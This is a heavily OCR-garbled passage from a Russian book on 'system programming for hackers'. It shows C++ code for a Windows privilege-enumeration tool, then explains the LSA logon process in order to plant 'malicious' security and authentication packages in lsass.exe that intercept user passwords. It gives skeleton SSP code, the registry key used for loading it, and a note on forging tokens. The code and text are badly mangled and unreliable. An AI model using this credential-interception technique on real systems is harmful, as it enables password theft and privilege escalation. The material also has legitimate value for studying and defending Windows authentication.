Рис. 6.5. Список привилегий пользователя
Глава 6. Управляем привилегиями в 107 Windows Ищем объекты с привилегией В этом случае инструменту нужно передать имя привилегии , которую мы ищем, а также имя компьютера, на котором мы ее ищем. Например , если нам нужно обна­ SeDebugPrivilege, на компью­ WINPC, то запуск выполняется следующей командой (рис . 6.6): ружить все учетные записи , обл адающие привилегией тере .\Privilegerx64 .exe 4 WINPC SeDebugPrivilege .\Privilegerxбll.exe PS C:\Users\"ichael\Downloads> (_) 1 __ , 1 _ - \ {_) 1 /_) 1 II WINPC SeDebugPrivitege _ _ _ __ 1 _/ ,_, \ \ / / 1 1/ _ \/ _, 1/ _ \ ,_, 1 1 _/ (_/ 1 _/ 1 v /1,_,_,,_,,_, 1 ,_,1 1,_,1 1,_,I\ \_/ ,,_,_, _/ 1 V 1.2 / __ / https://github . co~/"zHnO [+] Privilege SeDebugPrivitege Found [+] Validation Success [+] Objects with priviteges: [ !] Atias SID (~ау Ье local group): ВUILПN\Администратор•• S- 1- 5- 32- 51111 [!] User: WINPC\"ichael S-l-5-21-7181671181-5179111511-11172611786-1662 PS C:\Users\"ichael\Downloads> Рис. 6.6. Поиск объектов с привилегией При запуске этого режима я решил не проверять имя компьютера, т. к . если указать невалидное имя, то сломается фу нкция LsaOpenPolicy() (рис . вернет код ошибки 6.7). PS C:\Users\"ichael\Downloads> -- \ .\Privilegerxбll.exe II OTHER0PC SeDebugPrivitege (_) 1 (_) _ _ _ __ _ , 1_ 1 1__ ) 1 1 __ / ' _ , \ \ / / 1 I/ _ \/ _' I/ _ \ ' _, 1 1 1 1 1 1\ V /1 1 1 _/ CI 1 __/ 1 ,_, ,_, ,_, \_/ ,, ,_,_,, __ ,,__ , __ ,_, _/ 1 / __ / V 1.2 https://github . co~/"zHnO [+] Privilege SeDebugPrivilege Found [+] Validation Success [ - ] LsaOpenPolicy() failed: 1722 1 1s co~puter alive? PS C:\Users\l'lichael\Downloads> 1 Рис . 6.7. Результат проверки Все уместилось в одну маленькую аккуратную функцию : DWORD InitMode4(wchar_t* cCompName , wchar_t* cPrivName ) LSA- OBJECT - ATTRIBUTES lsaOA = ( ~ }; LSA_UN ICODE_STRING l sastrComputer = ( О ) ; 1722
Часть 108 11. Системное программирование для хакеров LSA НANDLE hPolicy = NULL; lsaOA.Length = sizeof(lsaOA); lsastrCornputer.Length = (USHORT) (lstrlen(cCompName) * sizeof(WCНAR)); lsastrCornputer.MaximшnLength = lsastrCornputer.Length + sizeof(WCНAR); lsastrCornputer.Buffer = (PWSTR)cCompName; NTSTATUS ntStatus = LsaOpenPolicy(&lsastrComputer, &lsaOA, POLICY_VIEW_LOCAL_INFORМATION POLICY_LOOKUP_NAМES, &hPolicy); ULONG lErr = LsaNtStatusToWinError(ntStatus); if (lErr 1= ERROR SUCCESS) { if (lErr == 1722) { std::wcout « 1 LsaOpenPolicy() failed: « lErr « Is cornputer alive?" « std:: endl; return 1; 1 11 ( - ] std::wcout « 1 return 1; 11 [ - ] 11 LsaOpenPolicy() failed: 11 11 1 « lErr « std::endl; LSA_UNICODE_STRING privilege = ( О }; LSA_ENUМERATION_INFORМATION* array = ( О }; ULONG count; WCНAR accountName[256]; WCНAR domainName[256]; SID NАМЕ USE snu; DWORD domainLength = sizeof(domainName) / sizeof(WCНAR); DWORD accountLength = sizeof(accountName) / sizeof(WCНAR); В001 fSuccess = FALSE; LPTSTR StringSid = NULL; privilege.1ength = (USHORT) (lstrlen(cPrivName) * sizeof(WCНAR)); privilege.MaximшnLength = privilege.Length + sizeof(WCНAR); privilege.Buffer = cPrivName; _try { NTSTATUS ntstatus = 1saEnumerateAccountsWithUserRight(hPolicy, &privilege, (void**)&array, &count); ULONG lErr = 1saNtStatusToWinError(ntstatus); if (lErr != ERROR_SUCCESS) array = NUL1; if (lErr == 259) { std: :wcout « 1 No objects « std: :endl; else { std::wcout « 1 leave; 11 [-] 11 [-] 11 LsaEnumerateAccountsWithUserRight() failed: "« lErr « std: :endl;
Глава б. Управляем привилегиями в 109 Windows std::wcout « L"[+] Objects with privileges: "« std::endl; for (ULONG i = О; i < count; i++) { ConvertSidToStringSid(array[i] .Sid, &StringSid); LookupAccountSid(NULL, array[i] .Sid, accountName, &accountLength, domainName, &domainLength, &snu); switch (snu) { case SidTypeUser: printf (" [ 1 ] User: "); wprintf(L"%s\\%s %s \n", domainName, accountName, StringSid); break; case SidTypeGroup: case SidTypeWellКnownGroup: printf(" [ 1 ] Group: "); wprintf(L"%s\\%s %s\n", domainName, accountName, StringSid); break; case SidTypeAlias: printf(" [ 1 ] Alias SID (may Ье local group): \t"); wprintf(L"%s\\%s %s\n", domainName, accountName, StringSid); break; default: printf(" [ 1 ] Idk what is it: "); wprintf(L"%s\\%s %s\n", domainName, accountNam<c, StringSid); break; fSuccess = TRUE; finally { LsaFreeMemory(array); return О; Сначала мы пытаемся получить хендл политики LSA на компьютере, имя которого LsaOpenPolicy (). После чего создаем специ­ альные структуры для передачи их в функцию LsaEnumerateAccountsWi thUserRight () было передано. Здесь все стандартно - (https://learn.microsoft.com/en-us/windows/win32/api/n tsecapi/nf-ntsecapi-lsaenume rateaccountswithuserright). Результатом выполнения функции станет массив объ­ ектов, обладающих нужной привилегией. Причем опять же для передачи привиле­ гии мы используем LSA_ UNICODE _STRING. Получив массив объектов, начинаем его пар­ сить. Он будет содержать структуру LSA_ENUМERATION_INFORМAТION, внутри которой ле­ жит лишь SID: typedef struct PSID Sid; _LSA_ENUМERATION INFORМATION LSA_ENUМERATION_INFORМATION, *PLSA { ENUМERATION INFORМATION;
Часть 110 11. Системное программирование для хакеров Поэтому конвертируем в стандартное имя пользователя через уже известную нам функцию ConvertSidToStringSid (), а затем передаем в функцию LookupAccountSid () для получения имени пользователя по его речисляемый тип SID. Последним параметром указывается пе­ sro_NAМE _USE (https://learn.microsoft.com/en-us/windows/win32/api/ winnt/ne-winnt-sid_name_use), с его помощью мы сможем определить тип объекта. Чаще всего это будет Sictтypeuser (обычный пользователь), но мало ли что ... В связи с этим я добавил также небольшие пометки, мол, тут - пользователь, а тут - группа. Смотрим привилегии объекта Рассмотрим последний, пятый режим работы. Он позволяет находить привил::гии, которыми обладает определенная учетная запись на компьютере. Начало тут не самое обычное: • case '5': std::wcout « 1"[ 1] I'm not « L" [ ! ] Starting" аЫе to validate username and РС name. Make sure you enter the correct da ta." « s td: : endl; Sleep(SOO); std: :wcout if (InitModeS (argv[2], std::wcout « « argv[З]) std: :endl; != 0) { L"[-] InitMode 5 Error" « std::endl; break; Не используя никакие вспомогательные RРС-функции, мы не сможем провалиди­ ровать имя пользователя и компьютера. Поэтому выделяем самим себе бы убедиться глазками, что все в порядке. Ну и опять же - 500 мс, что­ меньше трафика, лиш­ него шума. Сама основная функция также достаточно проста: DWORD InitModeS(wchar_t* cCompName, wchar_t* cUsername) LSA_НANDLE ( hPolicy; LSA_OBJECT_ATTRIBUTES lsaOA = ( о ); LSA_UNICODE_STRING lsastrComputer = { О ); lsaOA.Length = sizeof(lsaOA); lsastrComputer .Length = (USHORT) (lstrlen (cCompName) * sizeof lsastrComputer.MaximumLength = lsastrComputer.Length + (WCНAR)); sizeof(WCНAR); lsastrComputer.Buffer = (PWSTR)cCompName; NTSTATUS ntStatus = LsaOpenPolicy(&lsastrComputer, &lsaOA, POLICY_VIEW_LOCAL_INFORМATION POLICY_LOOKUP_NAМES, &hPolicy); ULONG lErr = LsaNtStatusToWinError(ntStatus); if (lErr != ERROR SUCCESS) { if (lErr == 1722) ( std: :wcout « L" [-] LsaOpenPolicy(I failed: " « lErr « " 1 Is computer alive?" « std: :endl; return 1; std::wcout « L"[-] LsaOpenPolicy() failed: "« lErr « std::endl;
Глава 6. Управляем привилегиями в 111 Windows return 1; PSID UserSid; DWORD sid size = О; LPTSTR wSidStr = NULL; DWORD domain size = О; SID- NАМЕ - USE sid- use; if ( 1 LookupAccountName(NULL, cUsernam~, NULL, &sid_size, NULL, &domain_size, &sid_use)) { UserSid = (PSID)VirtualAlloc(NULL, sid_size, MEM_RESERVE I MEM_COMMIT, PAGE_READWRITE); LPTSTR domain = NULL; dorr.aiп = (LPTSTR)VirtualAlloc(NULL, domain_size * sizeof{WCНAR), MEM_RESERVE MEM_COMMIT, PAGE_READWRITE); LookupAccountName(NULL, cUsername, UserSid, &sid_size, domain, &domain_size, &sid use); VirtualFree(domain, О, MEM_RELEASE); ConvertSidToStringSid(UserSid, &wSidStr); std: :wcout « L" [+] User SID: " « wSidStr « std: :endl; PrintTrusteePrivs(hPolicy, UserSid); VirtualFree{UserSid, О, MEM_RELEASE); return О; else { std::wcout « L" [-] LookupAccountName() Error: "« GetLastError{) « std::endl; return 1; 1 return 1; Все крутится вокруг уже созданной функции PrintTrusteePri vs получить хендл политики для получения SID, LSA 11. Нам остается лишь LookupAccountName (1 на компьютере, а затем дернуть который мы отдадим в функцию для вывода существующих привилегий у аккаунта. Круто, да? Заключение Привилегии в Windows, можно без проблем действительно, очень большая и интересная тема. Причем расширять Privileger, совершенствовать и исправлять мой божественный, суперчистый и великолепный код. В любом случае, если у вас вдруг остались вопросы, либо при использовании инст­ румента появились какие-то ошибки, пишите: все переделаю, исправлю, помогу, подскажу!
ГЛАВА 7 ТТ оставщик небезопасности. Как Windows раскрывает пароль пользователя Большинство механизмов защиты в Windows строится на паролях учетных записей пользователей. В этой главе мы разберем несколько способов перехвата паролей в момент авторизации пользователя и напишем код для автоматизации этого про­ цесса. Windows имеет сложную систему аутентификации со множеством компонентов. Фундаментом этой системы можно считать LSA - LSA (Local Security Authority) и SSP. огромная подсистема, которая служит для проверки подлинности пользова­ телей, их регистрации, смены пароля и подобных операций. Еще в LSA хранится информация обо всех аспектах безопасности локального компьютера, например количестве неуспешных вводов пароля для блокировки учетной записи. Посредст­ вом LSA можно даже назначать привилегии пользовательским учеткам, для этого разработан инструмент Privileger (https://github.com/МzНmO/Privileger), который мы подробно рассматривали в предыдущей главе. SSP тоже не так прост, как кажется: мы рассмотрели его использование в клиент­ серверных процессах в главе 4. Он не только помогает разработчикам шифровать данные, обеспечивать целостность передаваемой информации, выстраивать кон­ текст, но и может расширить стандартную аутентификацию. Правда, для этой цели будет использоваться не просто SSP, а SSP/AP, о котором мы поговорим позже. Компоненты безопасности Их можно считать кирпичиками, из которых строится вся огромная система аутен­ тификации в Windows. Отмечу, что теория из этой главы будет распространяться и на последующий материал. Мы начнем с простейшего перехвата пароля, а затем будем понемногу усложнять себе задачу.
Глава 7. Поставщик небезопасности. Как Windows раскрывает пароль пользователя 113 Security Package Security Package (SP) - программная реализация некоего протокола безопасности. Security Package содержатся в SSP (и/или SSP/АР) в виде DLL-файлов. Например, Kerberos и NTLM находятся в SSP secur 32 .dll. Да, именно в Secur 32. dl l, т. к . именно этот SSP делегирует функции безопасности нужному SP. Например, если служба требует аутентификацию по Kerberos, то Secur32. dll вызовет Ke rberos. dll (рис. 7.1). в Служба ~➔ с ~--------< 8 в я Рис. SSP/AP АР - 7.1 . Работа SP (или же просто АР) Authentication Package. содержит один или несколько ся в том , что SSP/ АР DLL, которая тоже от стандартного SSP заключает­ Представляет собой библиотеку SP. Главное отличие может выступать в качестве пакета аутентификации (АР), т . е. проверять подлинность введенных данных при входе пользователя в систему. Тем не менее SSP/AP выполняет и все функции стандартного контекст, шифровать данные и прочие) . Чтобы в качестве пакета аутентификации, и в SSP/AP качестве SSP (выстраивать мог функционировать и обычного SSP для клиент­ серверных процессов , при запуске системы он загружается в пространство процес­ са lsass . ехе . Также, если требуется работать лишь с клиент-серверными функциями конкретно­ го SSP/AP, он без проблем может быть загружен в клиент-серверное приложение . Например, методом динамического (функция LoadLibrary () ) либо статического свя ­ зывания ( pragma comment ), т . е . без загрузки в процесс l sass . exe. В таком случае функ­ ции пакета аутентификации использоваться не будут (рис . 7.2).
Часть 114 11. Системное программирование для хакеров C\ient-Slde Process LSASS Рис. 7.2. SSP/AP в lsass.exe и клиентских процессах Security Providers Security Providers не стоит путать с Провайдеры безопасности (рис. Security Package. 7.3) Они все-таки различаются. реализованы в виде DLL и позволяют выпол­ нить так называемую вторичную аутентификацию. То есть после того, как польза- Server 1. ' Off1CE\МISНA я 1 1234567890 - Security Provlder •. Server Рис. 7.3. Работа Security Providers
Глава 7. Поставщик небезопасности. Как Windows раскрывает пароль пользователя 115 ватель прошел аутентификацию на одной машине, он может пройти аутентифика­ цию и на другой машине, например на сервере Linux. Таким образом, пользователь получает доступ к ресурсам UNIX-cepвepa с машины аутентификации. Это называется Windows без дополнительной Single Sign-On. Credential Providers Провайдеры учетных данных - СОМ-объекты, служащие для беспарольноrо дос­ тупа к системе. Реализованы тоже в виде динамических библиотек для распознавания лица используется FaceCredentialProvider. dll, DLL. для Например, смарт-карт - SrnartcardCredentialProvider.dll. Также может использоваться сторонний поставщик учетных данных. Все доступ­ ные поставщики учетных данных перечислены здесь: HКLМ\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers Каждый ключ по этому пути реестра идентифицирует определенный класс постав­ щика безопасности по его CLSID. Сам CLSID должен быть зарегистрирован HKCR\CLSID, т. к. является классом СОМ. Для изучения всех доступных поставщиков также можно воспользоваться инструментом CPlist. ехе в (https://github.com/zodiacon/Windowslnternals/releases/tag/1.1). Password Filters С помощью Password Filters можно расширить стандартную парольную политику на конкретных хостах. Когда создается запрос на смену пароля, LSA вызывает все пакеты уведомлений, чтобы проверить, удовлетворяет ли новый пароль фильтрам, реализованным внутри пакета. Причем каждый пакет уведомлений вызывается дважды: 1. Для проверки нового пароля. Если какой-то из пакетов уведомлений сообщает, что пароль не подходит, система потребует у пользователя указать иной пароль. 2. Для уведомления о том, что пароль изменился. Этот вызов произойдет только тогда, когда все пакеты уведомлений сообщили, что пароль нормальный и соот­ ветствует их фильтрам. Password Filter можно считать частным случаем Notification Package (рис. 7.4). Как происходит вход пользователя в систему Перед тем как мы сможем перехватить пароль, следует разобраться с процессом входа пользователя в систему. В этой главе мы не будем вдаваться в подробности инициализации Winlogon, создания рабочих столов, GINA. Просто знайте, что именно благодаря процессу Winlogon.exe осуществляется интерактивный вход. Сис­ тема запустилась, пользователь сел за клавиатуру. 1. Для начала аутентификации отправляется комбинация клавиш нию <Ctrl>+<Alt>+<Del>). Winlogon цесс входа. SAS (по умолча­ получает это сообщение, начинается про­
Часть 116 ....... Системное программирование для хакеров норммроn.? + Рис. 2. 11. 7.4. Notification Package в случае проверки пароля Так как в современных системах присуrствует множество вариантов беспароль­ ного входа к (оmечаток пальца, распознавание лица), то Winlogon обращается Credential Providers, чтобы получить информацию об ауrентифицирующемся пользователе. 3. Вне зависимости от ответа провайдера учетных данных Winlogon порождает процесс Logonur. ехе. Он предоставляет интерфейс для ввода пароля и завершается после окончания этого действия. Таким образом, Logonur . ехе может перезапус­ каться бесконечное количество раз, если вдруг возникают какие-либо ошибки. Как следствие, обеспечивается защита от возможного краша Winlogon.exe. 4. После того как пользователь ввел свой логин и пароль либо если провайдер учетных данных вернул их, Winlogon пользователя. Данный назначается всему текущему экземпляру рабочего стола (клавиатура, SID мышь, экран) . создает уникальный После чего lsass.exe с целью ауrентификации пользователя. SID для входа этого идет обращение к процессу·
Глава 5. 7. Поставщик небезопасности. Как Windows раскрывает 117 пароль пользователя Обращение можно разделить на несколько этапов. Сначала Winlogon.exe регист­ рирует себя как процесс аутентификации. Делается это вызовом функции LsaRegisterLogonProcess (). В случае успешного вызова процесс получает хендл на для последующего взаимодействия. Причем взаимодействие будет осуще­ LSA ствляться посредством 6. ALPC (Advanced Local Procedure Calls). Далее Winlogon.exe получает хендл на пакет аутентификации в случае АО, тут мы рассматриваем только MSVI_O (и Kerberos MSVl_O) путем вызова LsaLookupAuthenticationPackage(): NTSTATUS LsaLookupAuthenticationPackage( [in] НANDLE [inj PLSA_STRING PackageName, [out] PULONG LsaHandle, AuthenticationPackage ); Эта функция ничего особенного не требует. LsaHandle - зовом LsaRegisterLogonProcess (); PackageName - имя пакета аутентификации, напри­ мер мsv1 _о _РАСКАGЕ _NАМЕ; AuthenticationPackage лаемого для использования 7. Winlogon хендл, полученный вы­ полученный идентификатор же­ пакета аутентификации. Получив идентификатор пакета аутентификации, Winlogon передает ему ин­ формацию в вызове функции LsaLogonuser (). Эта информация содержит шага SID 4, SID из а также информацию об аутентифицирующемся пользователе. Передача помогает предотвратить несанкционированный доступ к рабочему столу, например если взять и ввести пароль одного пользователя, а попробовать полу­ чить доступ к столу другого. 8. Внутри вызывается функция LsaApLogonuserEx(), где имя пользователя и MSVl_O пароль проходят аутентификацию при помощи базы данных SAM. Если аутен­ тификация успешна, там же создается сессия входа в систему: вызывается LsaCreateLogonSession (), и ей присваивается LogonID (LUID), который генерирует­ MSVl_O добавляет специальную ин­ ся пакетом аутентификации. После этого формацию к сессии с помощью вызова LsaAddCredential (). Обычно это имя поль­ зователя, имя домена и контрольные суммы LM/NT-xeшa пароля. Эта инфор­ мация . доступ 9. Далее впоследствии понадобится, если пользователь попытается получить к удаленным узлам. Winlogon дожидается ответа от LSA по поводу введенных учетных дан­ ных. 1О. После успешной аутентификации пользовательской оболочки пользователя запускается (User Shell). инициализация Пользовательская оболочка - сово­ купность процессов, запущенных от лица конкретной учетной записи. 11. Просто взять и создать пользовательскую оболочку, например с помощью обычного CreateProcess (), не получится. Сначала lsass. ехе вызывает функцию NtCreateToken () для создания токена доступа. В этом токене будет содержаться информация о самом пользователе. Именно этот токен в дальнейшем станет использовать Winlogon.exe для создания процесса от лица аутентифицированного пользователя.
Часть 118 11. Системное программирование дпя хакеров Возможно, у вас сразу появилась коварная мысль: «А могу ли я сам генериро­ вать токены?» Как бы да, и как бы нет. Для успешного создания токена требу­ ется привилегия SeCreateTokenPri vilege, которой обладает только lsass. ехе. Если у нас есть эта привилегия, то мы сможем нафантазировать что душе угодно. Абсолютно любой токен любые группы, привилегии, вне зависимости от ка­ - ких-либо глобальных настроек и конфигураций. Например, я получал права на выполнение кода от лица группы (рис. И ставил SID = О (рис. 7.5). 7.6). C:\Windows\system32>whoami сringе\администраторы домена Рис. ~ 7.5. Выполнение кода от лица группы :\Windows\system32>whoami ull sid :\Windows\system32>whoami /groups Сведения о группах Группа IBUIL ТIN\Администраторы l ая группа, 510 Псевдоним 5- 1- 5 - 32 - 544 Группа 5- 1- 5 - 21 - 2531206019 - 2546345469 - 201572242-512 Владелец группы СRINGЕ\Администраторы домена ая Тип группа Рис. 12. 7.6. Null sid Дополнительно winlogon.exe собирает информацию о пользовательской среде. Информация эта самая разная. Заострю внимание на начальном процессе, он же системный шелл, - процессе, который будет порождать остальные процессы в системе от лица пользователя и применяя все установленные настройки поль­ зовательского профиля. Все эти данные хранятся в HКLМ\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. В ключе Userinit по умолчанию указан процесс userinit.exe, который как раз таки восстанавливает настройки профиля пользо­ вателя. А в ключе shell - 13. системный шелл, обычно это explorer. ехе. Сначала идет обращение именно к userinit, программа запускается, выполняет­ ся инициализация среды, а затем userinit.exe обращается к ключу shell и порож­ дает системный шелл. После этого процесс userinit завершается. Собственно, ровно по этой причине мы и не видим родительского процесса у explorer. ехе - userinit.exe 14. уже завершился. Пользователь заходит в систему и получает доступ к своему рабочему столу (рис. 7.7).
Глава 7. Поставщик небезопасности. Как Windows раскрывает пароль пользователя 119 LogonUl.exe OfFICE\МISНA 1 1 1234567890 1 1 2.2 -·-- Сооос:т~со &IJOi. Оородемоо 2 Credentlal Provlders Рис. Инициализация Именно LSA 7.7. Процесс аутентификации LSA играет ключевую роль в процессе аутентификации пользователя. Каким образом LSA будет инициализировать наши вредоносные реализованные в виде ванные DLL находятся АР и NP? LSA автоматически подгружает все зарегистрированные DLL, в свое адресное пространство. Все зарегистриро­ по следующему пути (рис. 7.8): При запуске устройства SP, SP, HКLМ\SYSTEM \ CurrentControlSet \ Control \ Lsa\Security Packages Если этот ключ пустой, то используется значение по умолчанию: kerberos" \ O"msvl_O" \O "schannel" \ O"wdigest" \ O"tspkg"\ O"pku2u"\0
Часть 120 - ... ....,,,...... 11. Системное программирование для хакеров .Р....,орр,ктро "9иu с ..,.... "°"""""'P\Н(EY_LOCAl,_МACНN!\SVSTTМ\Cunme-,olS,t\(ont,ol\u, 1 1 >_W tDComgOВ 1 г lnitialМк:hiмConfig J l m ogntyS,мce, 1Г '"''""'"°""' IPMI ~ А ~- .._,_ LC№pSecondlnlOПNtion ) • Compon,ntlJpdot , 11 с,- !·..-. . . . 11 Df>l ~ому ) Olfliмl5A ) • Offliм5AМ OSConfig REG_ВINARY t,н.Ч&tмr. "е npмaoeto) 1><00000000 (О) 1><00000000 (О) msv1_0 00 30 00 00 00 20 00 00 1><00000000 (О) 1><00000000 (О) 1><00000000 (О) 1><00000000 (О) 00 -а! IJmitlllwP-- RE.G_OWORD l><OCШJ001 ,r,jJ....agFt,g,0,1...0 REG_DWORD 1><00000000 (О) ~ -id REG_DWORD REGJ)WORD lk000003f4 (1012) ~ -;t;c-P.,...,.. REG.J,«JI.ТI..SZ ,c,d; ~ •-Туре REG_DWORO REG_DWORD REG_DWORD REG_DWORD REG_DWORD 1><00000006 (6) -~-- c.nt,.i;,,dA«..,PoOci<, мsv,_o REG_ВINAIIY ~ fo,c,guet tjl ru11p,м1,guudIOng ; 11 дud« 1■ REG_мut.ll_SZ REGJJWORD REG_DWORD REG_DWORD REG_DWORD :а1 -~ > 111 AcceяPnмdm , ~ - - р.,...,.. tjj,,.....,......,.. .aj d..ы.dom,;nc,..t. V , . REG_SZ REG_DWORD REG_DWORD jjj ,ud«ь.иoьj,<t, Keme№locily з...- Тмn 111- - )) • · - L,yout ~ ..... ~ (flo умо11..,....ео) -а! ,ostnct,nonymou, .,tstricunanymousиm ~S..:.Conмctedдccoona&ot ~s.c...- REG_мutll_SZ (1) 1><00000001 (1) 1><00000000 (О) 1><00000001 (1) 1><00000001 n) 1><00000001 (1) - li ~g .....1 > liJ sso ; 111 s,p;cкt,, l ) • 11 -..,ing Ls,&tm,юn{onf.. ~- '-""nfomw6on м.n.,,ctunngМod, ) ; g .......c.t,go,i,< ,... . . ....... ; g -.. ......,., , ) -= , 11 - - \ > II МS171C МIJI > 11 > fl Ndl>i,gf, >8 NdP-rovisюn H.i NdDrive<s , 11 - • :l1~ , _.,,., < > . Рис. Все эти DLL 7.8. Ключ со всеми указываются без полного пути. SP Microsoft рекомендует помещать SP %systemroot %/system32. Далее у каждого SP вызывается функция SpLsaModeini tialize (), благодаря которой LSA получает специальную таблицу (bttps://learn. функции на указатели содержащую SECPKG_FUNCTION_TABLE, в папку microsoft.com/en-us/windows/win32/secautbn/autbentication-functions#functionsimplemented-by-sspaps). Они реализуют данный пакет безопасности. Выглядит это примерно вот так: SECPKG FUNCTION ТАВLЕ SecurityPackageFunctionTaЬle[] Spinitialize, SpShutDown, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpGetinfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
Глава 7. Поставщик небезопасности. Как NTSTATUS NTAPI SpLsaМodelnitialize(ULONG PSECPKG_FUNCTION_TAВLE * ррТаЫеs, PULONG Windows раскрывает пароль пользователя 121 LsaVersion, PULONG PackageVersion, pcTaЬles) { *PackageVersion = *ррТаЫеs *рсТаЫеs = return = SECPKG_INTERFACE_VERSION; SecurityPackageFunctionTaЬle; 1; О; Если SpLsaМodeini tialize () успешно вернула таблицу, то которой передает структуру LSA вызывает Spini tialize (), LSA_SECPKG_FUNCTION_ТАВLЕ. В этой структуре содержатся указатели на функции (https://learn.microsoft.com/en-us/windows/win32/secauthn/ authentication-functions#lsa-functions-called-by-sspaps), которые предоставляет LSA для использования внутри SP. Например, функцию CreateToken() можно исполь­ зовать для создания токена ( это не токен доступа, а токен, который генерируется во время выстраивания контекста в клиент-серверных приложениях). Третьей вызывается SpGetinfo (), благодаря которой LSA получает информацию о пакете. Например, его имя, описание и версию. Эта информация будет отобра­ жаться при вызове функции EnшnerateSecuri tyPackages (): NTSTATUS NTAPI SpGetlnfo(PSecPkginfoW Packagelnfo) { Packagelnfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAМE SECPKG FLAG CONNECTION SECPKG FLAG LOGON; Packagelnfo->Name = (SEC_WCНAR*)L"MishaSSP"; Packagelnfo->Comment = (SEC_WCНAR*)L"SSP with а wide Russian soul"; Packageinfo->wRPCID = SECPKG_ID_NONE; Packagelnfo->cbMaxToken = О; Packagelnfo->wVersion = 1337; return О; Далее LSA загружает все доступные пакеты аутентификации (АР). Их список из­ влекается из следующего ключа реестра (рис. 7 .9): НКLМ\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages В каждом из них будет вызвана функция LsaApinitializePackage(), в ней LSA передаст (https://learn.microsoft.com/en-us/windows/win32/api/ ntsecpkg/ns-ntsecpkg-lsa_dispatch_taЫe), содержащую все функции LSA, которые таблицу LSA_DISPATCH_ТАВLЕ может дергать АР. АР, в свою очередь, должен заполнить последний параметр функции, указав свое имя. Это имя LSA использует, чтобы определить, к какому АР хочет получить доступ программа, путем вызова LsaLookupAuthenticationPackage () . LSA_DISPATCH_TAВLE DispatchTaЬle; NTSTATUS LsaApinitializePackage(_In_ ULONG AuthenticationPackageld, DataЬase, _In_opt_ PLSA_STRING PLSA_DISPATCH_TAВLE LsaDispatchTaЬle, _In_ _In_opt_ PLSA_STRING Confidentiality, _Out PLSA_STRING* AuthenticationPackageName)
Часть 122 11. Системное программирование для хакеров llf Р~аастор рее61'ра Фойл В ид Пр.,ека Ком n ыотер\НКЕУ Справка ИJбрilнное LOCAL . > fj IDConfigDB 1;1 t,i lnitiolM,chin.Config Им• lnt~rityServices t4 IPMI ~ KerмlVeloc.ity > КеуЬоагd layout ) f;a K,yhoord L,youts AccessProviders Audit ) > Centr11lizedAcc~sPoliciб ) _fa:/J Bounds REG_BINARY 00 30 00 00 00 20 00 00 .r4! crashon1uditfeil REG_DWORD REG_DWORD REG_DWORD REG_DWORD REG_BINARY REG_DWORD REG_DWORD REG_DWORD REG_DWORD REG_MULll_SZ REG_DWORD REG_DWORD REG_DWORD REG_DWORD 0,00000000 (О) REG_DWORD 0,00000001 (1 ) disaЫIOom<1incrIOS .ё'l] ~~oneincludмanonymous a!,'!) fo«,guest .~ fullprivil~Nuditing ,f~ limitBlenkP1sswordUse .!4] LяCfgFl<gs0,1,u~ Lsa ~ (а ComponentUpdatб Crodssp о,,. 1--1:.i DPL --E1i Fips.AlgorithmPolicy GBG } )i --l!J -~'IJ LsaPid ~!°В NoLmHиh :tt!J Notifiиtton Pack.,ges .ё_'l} ProductТype -~ r~trict.,nonymous t-Ei ,-еа ю ) ii KerЬt:ros :(!.'l] restrict.,nonymouss.,m Hi мsv1_0 1 > &il Offlind.SA >iJI Offlin.sдM Зн•чение REG_SZ REG_DWORD REG_DWORD REG_MULll_SZ -t!~ le,1pЖondlnformation Тмn ~j (Поумолчанию} .t4J auditЬ.sedirectorie5 .ё1) 1uditЬ4s~bjfi.ts ., fmlntбn11tional 1- ..... МACHINE\SYSTEМ\Cum:ntControlSet\Control\lя !t;IJ S.mConnкtedдc.c:ountsE.xist .f4! Жurr8oot ~ Жurity Pac.k.tgб REG_MULll_SZ (,качение не nрмсеоt:ко) 0,00000000 (0) 0,00000000 (О) msv1_0 0,00000000 (О) 0,00000000 (0) 0,00000000 (О) 00 О,00000001 (1) 0,00000000 (О) 0,00000314 (1012) 0,00000001 (1) ккli 0,00000006 (6) 0,00000000 (О) 0,00000001 (1) 0,00000001 (1) .. !(1 OSConfig ~(i Skow1 > tl sso ) li} SspiC,che Ч"З T111cin9 >11 LяExt~nsionConfig i-(l lя1nfom\.!f.ion ) Q M1nuf1c.turin9Mod~ ь) Medi1Cat~orifi ) ) 1 Medi1tntt.rfac.fi ) 1 MediaProperties ) 1 Medi11Resourcfi ) fЗ Medi,s.ts >Ш"j мsrnc ) i3 MUI >jJ NetDiagFx H'J NetDrivers > ij №tProvision ) Ei Net:Trace > .., fJ 1 1~ < ... 1 №tworlc t1'~:1 . NetworkProvider НwOrder O,der Ча ProviderOrder №two~up2 -IJ. " ' у ) Рис. // 7.9. Ключ со всеми АР Сохраняем адреса функций DispatchTaЬle.CreateLogonSession LsaDispatchTaЬle->CreateLogonSession; DispatchTaЬle.DeleteLogonSession LsaDispatchTaЬle->DeleteLogonSession; DispatchTaЬle.AddCredential = LsaDispatchTaЫe->AddCredential; = LsaDispatchTaЬle->GetCredentials; DispatchTaЬle.GetCredentials DispatchTaЬle . DeleteCrede ntial = LsaDispatchTaЬle->DeleteCredential; DispatchTaЬle.All o cateLsaHeap DispatchTaЫe.FreeLsaHeap = = LsaDispatchTaЬle->Allo c ateLsaHeap; LsaDispatchTaЬle->FreeLsaHeap; DispatchTaЬle.Allo cateC l ientBuffer DispatchTaЬle. FreeClientBuf fe r = = LsaDispatchTaЫe- > AllocateClientBuffer; LsaDispa.t chTaЬle->Free Cl ientBuffer; DispatchTaЬle. CopyToC lientBu ffe r LsaDi spat chTaЬle- >Cop yToC lientBuff e r; Dispatc hTaЬl e . CopyFr omClient Bu ffe r = L s aDispat chTaЬl e - >CopyFromC lientBuffe r;
